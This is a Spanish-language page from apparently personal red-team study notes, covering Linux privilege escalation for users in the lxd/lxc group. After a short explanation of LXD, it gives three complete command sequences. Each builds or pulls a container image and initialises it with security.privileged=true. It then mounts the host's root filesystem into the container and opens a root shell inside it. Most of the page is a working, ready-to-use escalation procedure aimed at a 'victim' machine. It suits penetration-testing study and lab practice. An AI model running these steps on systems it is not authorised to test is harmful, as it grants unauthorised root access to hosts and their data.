RED TEAM
  • Presentación
  • Apuntes Linux
  • Apuntes Blue Team
  • Apuntes Python
  • Ricardev github
  • RECON
    • OSINT
    • DESCUBRIENDO LA RED
      • NMAP NSE
    • SNIFFING
      • TCPDUMP
  • TECHNIQUES
    • FUERZA BRUTA
      • HYDRA
      • MEDUSA
      • JOHN THE RIPPER
      • NCRACK
      • RAINBOW TABLES
      • CHEATSHEET
    • CLAVES RSA DÉBILES
  • WEB HACKING
    • FUZZING
      • GOBUSTER
      • WFUZZ
      • OTRAS HERRAMIENTAS DE RECONOCIMIENTO WEB
    • OWASP TOP 10
      • A1-2017. SQL INJECTION
        • LOGIN FORM BYPASS
        • EXTRACCIÓN DE INFORMACIÓN.
        • SQLI MODIFIED HEADERS
        • BOOLEAN BLIND SQLI
        • TIME-BASED BLIND SQLI
        • AUTOMATIC INJECTION
      • A2-2017. ATAQUES A SISTEMAS DE AUTENTICACIÓN
      • A3-2017 - EXPOSICIÓN DE DATOS SENSIBLES
      • A4-2017. XXE
      • A5-2017. CONTROL DE ACCESO VULNERABLE
      • A6-2017. SEGURIDAD MAL CONFIGURADA
      • A7-2017. XSS
      • A8-2017. DESERIALIZACIÓN INSEGURA
      • A9-2017. USO DE COMPONENTES CON VULNERABILIDADES CONOCIDAS
      • A10-2017. REGISTRO Y MONITOREO INSUFICIENTE
    • SERVICIOS WEB
      • APACHE TOMCAT (RCE)
      • PRTG NETWORK MONITOR (RCE)
  • SERVICES HACKING (BOTH)
    • 20,21 - FTP
      • FTP BOUNCE ATTACK - ESCANEO
      • FTP BOUNCE ATTACK- DESCARGA DE OTRA FTP
    • 23 - TELNET
    • 25, 465 587 - SMTP
    • 111, 2049 - RPCBIND Y NFS
    • 161,162,10161,10162/udp - SNMP
      • SNMP (RCE Linux)
    • 445 - SMB
      • ETERNALBLUE
    • 3306 - MYSQL
  • SERVICES HACKING (LINUX)
    • 3632 - DISTCCD
  • SERVICES HACKING (WINDOWS)
    • 135, 539 - MSRPC
    • 389, 636 - LDAP / LDAPS
    • 1443 - MSSQL
  • ACTIVE DIRECTORY HACKING
    • CREANDO UN LABORATORIO DE AD
      • 1. Instalación de Windows Server 2016
      • 2. ROL DE ACTIVE DIRECTORY
      • 3. MALAS PRÁCTICAS NECESARIAS
    • CONCEPTOS
      • SPN Y KERBEROS
    • ENUMERACIÓN
      • BLOODHOUND
    • ATAQUES
      • SMB RELAY
      • NTLM RELAY
      • KERBEROASTING
      • AS_REP ROASTING
  • PRIVESC
    • WINDOWS
    • LINUX
      • LXD/LXC GROUP
  • EXFILTRACIÓN
    • EXFILTRANDO INFORMACIÓN
  • SHELL AND POWERSHELL TRICKS
    • Transfiriendo datos (traducir)
    • MEJORANDO SHELL A TTY INTERACTIVA (Traducir)
  • PWN LINUX
    • CREANDO UN LABORATORIO SIN MITIGACIONES
    • TEORÍA
      • ESTRUCTURA DE UN BINARIO DE LINUX
        • HERRAMIENTAS
      • ENSAMBLADOR
      • CONVENCIÓN DE LLAMADAS
      • MITIGACIONES
      • SYSCALL Y SHELLCODE
      • FORMAT STRING
      • RETURN-ORIENTED PROGRAMMING
        • GADGETS
    • ESTRATEGIAS DE EXPLOIT
      • STACK EXPLOITS
        • ATAQUE “SMASH THE STACK” SENCILLO
        • ATAQUE RET2WIN
        • ATAQUE RET2SHELLCODE
        • ATAQUE FORMAT STRING RET2SHELLCODE 2 BYTES
        • ATAQUE FORMAT STRING RET2SHELLCODE 4 BYTES
        • CANARY BYPASS
        • ATAQUE RET2LIBC
    • PRÁCTICA
      • PHOENIX
        • SETUP
        • STACK-ZERO amd64
        • STACK-ONE amd64
        • STACK-TWO amd64
        • STACK-THREE amd64
        • STACK-FOUR amd64
        • STACK-FIVE amd64
        • STACK-SIX amd64
        • FORMAT-ZERO amd64
Con tecnología de GitBook
En esta página
  • INFORMACIÓN GENERAL
  • VULNERABILIDADES
  • Método 1
  • Método 2
  • Con internet

¿Te fue útil?

  1. PRIVESC
  2. LINUX

LXD/LXC GROUP

Si perteneces a estos grupos puedes convertirte en root

AnteriorLINUXSiguienteEXFILTRANDO INFORMACIÓN

Última actualización hace 3 años

¿Te fue útil?

INFORMACIÓN GENERAL

LXD, forma abreviada de Linux Container Daemon, es una herramienta de gestión de los contenedores del sistema operativo Linux.

LXD es una tecnología hermana de LXC, forma abreviada de Linux Containers. es una a nivel de sistema operativo basada en contenedores. LXC combina espacios de nombres aislados y los “cgroups” del kernel de Linux para crear entornos aislados para ejecutar código. Históricamente, LXC también fue el origen de la popular tecnología de virtualización .

Uno de los objetivos básicos que había detrás el desarrollo de LXD era hacer la gestión de contenedores LXC lo más cómoda posible, como es habitual en el caso de las . Sin embargo, el enfoque basado en contenedores ofrece un rendimiento superior al de las máquinas virtuales.

Utilizando LXD, los contenedores del sistema operativo Linux pueden ser configurados y controlados con un conjunto de comandos predefinidos. Por lo tanto, es muy adecuado para automatizar la gestión de contenedores y, a menudo, es utilizado para soluciones cloud y data centers.

VULNERABILIDADES

Método 1

Puedes instalar en tu máquina atacante la aplicación distrobuilder y seguir las instrucciones de su github:

sudo su
#Install requirements
sudo apt update
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
#Clone repo
sudo go get -d -v github.com/lxc/distrobuilder
#Make distrobuilder
cd $HOME/go/src/github.com/lxc/distrobuilder
make
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8

A continuación se suben a la víctima los archivos lxd.tar.xz y rootfs.squashfs.

Después añadimos la imagen a lxd:

lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list #You can see your new imported image

Creamos un contenedor y añadimos el root path:

lxc init alpine privesc -c security.privileged=true
lxc list #List containers

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

Error: No storage pool found. Please create a new storage pool

Ejecute lxc init y repita el proceso anterior

Ejecute el container

lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted

Método 2

Construya una imagen de la distro Alpine e iniciela utilizando la flag security.privileged=true forzando al contenedor a interactuar como root con el sistema host.

# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.

# before running the image, start and configure the lxd storage pool as default 
lxd init

# run the image
lxc init myimage mycontainer -c security.privileged=true

# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh

Existe una herramienta automatizada para hacer esto:

Con internet

Solo debe seguir estas instrucciones:

lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true 
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
LXC
tecnología de virtualización
Docker
máquinas virtuales
GitHub - lxc/distrobuilder: System container image builder for LXC and LXDGitHub
Fuente
lxd/lxc Group - Privilege escalationHackTricks
Fuente
GitHub - initstring/lxd_root: Linux privilege escalation via LXDGitHub
Fuente
Logo
Logo
Logo